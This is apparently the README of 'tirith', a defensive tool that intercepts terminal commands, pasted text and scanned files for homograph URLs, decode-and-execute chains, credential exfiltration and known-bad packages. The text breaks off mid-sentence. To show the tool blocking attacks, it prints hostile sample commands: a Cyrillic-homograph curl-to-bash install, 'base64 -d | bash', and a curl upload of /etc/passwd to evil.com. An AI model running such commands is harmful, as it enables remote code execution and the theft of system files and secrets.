tirith

Your browser would catch this. Your terminal won't.

Website | Docs | SKILL.md | Changelog

_{Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).}

Can you spot the difference?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

brew install tirith

Then activate in your shell profile:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

[!TIP] eval "$(tirith init)" auto-detects your current shell (it inspects the parent process and falls back to $SHELL if needed). The explicit --shell flag is only required when you want to override the detection.

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, mise, apt/dnf, and more.

See it work

Homograph attack, blocked before execution:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

The command never executes.

Pipe-to-shell with clean URL, warned, not blocked:

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
    Consider downloading first and reviewing.

Warning prints to stderr. Command still runs.

Base64 decode-execute chain, blocked:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.

Credential exfiltration, blocked:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.

Malicious skill file, caught on scan:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.

Normal commands, invisible:

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. You forget tirith is running.

What it catches

221 detection rules across 34 categories.

What tirith does NOT protect against

Tirith analyzes the structure of commands, pasted text, and files before they execute. It is a pre-execution gate, not a runtime defense, and does not cover:

• Runtime sandboxing: tirith warns or blocks; it does not sandbox or isolate a command once it runs.
• Post-execution network monitoring: what a process does on the network after launch is out of scope.
• Malware / payload detection: tirith analyzes structure, not payload behavior. It is not an antivirus and does not detonate or signature-match. (tirith run checks a downloaded script's structure, still not malware analysis.)
• A privileged root/admin attacker: anyone already root or admin can bypass tirith trivially. It defends against tricked input, not an attacker who already owns the machine.
• Anti-debugging / anti-tampering: tirith does not resist reverse engineering or protect its own binary from a local attacker.

See docs/threat-model.md for the full threat model and explicit non-goals.

Known limitations

• Shell-hook fragility: protection depends on a shell hook staying installed and active. Hooks can break or silently degrade across shells, shell versions, prompt frameworks, and history tools. Run tirith doctor to check live state and watch for warn-only degradation.
• Unix-only features: daemon mode, tirith setup, tirith run, and tirith fetch are Unix-only today.
• Package-name extraction scope: covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro package managers (apt, dnf, yum, pacman).
• AI-agent caveats: shell-hook interception only guards commands that go through a hooked interactive shell. An agent that spawns a non-interactive shell, calls exec directly, or runs without the hook loaded is not covered. MCP protection is advisory (the agent must call the tirith MCP tools), not enforced.

Threat intelligence

Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or tirith check sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.

Signed DB (built daily by CI, verified on download and load):

• Known-malicious packages from OpenSSF Malicious Packages and Datadog Security Labs
• Malicious IP infrastructure from Feodo Tracker (abuse.ch)
• Confirmed typosquats and popular-package baselines from ecosyste.ms
• CISA Known Exploited Vulnerabilities catalog for runtime advisory correlation

Optional supplemental feeds (user-local overlay):

• URLhaus and ThreatFox via an abuse.ch auth key
• PhishTank (Cisco Talos) and Phishing Army blocklists
• Tor exit node list from Tor Project

Optional live enrichment during tirith check and daemon mode:

• OSV.dev advisory lookups (Google OSS)
• deps.dev package health signals (Google OSS) and ecosyste.ms maintainer data
• Google Safe Browsing URL reputation with your own API key

tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date

By default, shell hooks and tirith check trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.

threat-db explain accepts a domain, a package name (name, ecosystem:name, or name@version), or an IPv4 address. The binary retains no per-entry history, so threat-db diff reports category and per-source count deltas between snapshots, not the exact entries changed. Every threat-db command takes --format json; threatdb is an alias.

Package risk scoring

tirith package risk <ecosystem> <name> scores a package's supply-chain / maintainer risk the way tirith score scores a URL, a deterministic, fully explainable sum of named factors, no model and no learned weights. tirith package explain <ecosystem> <name> adds the factor-by-factor derivation; both take --format json.

tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API

Offline by default. With no flags, every signal is local, with no network call: (1) name vs. popular packages: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's popular set; (2) known malicious typosquat: an exact match in the threat DB's typosquat index; (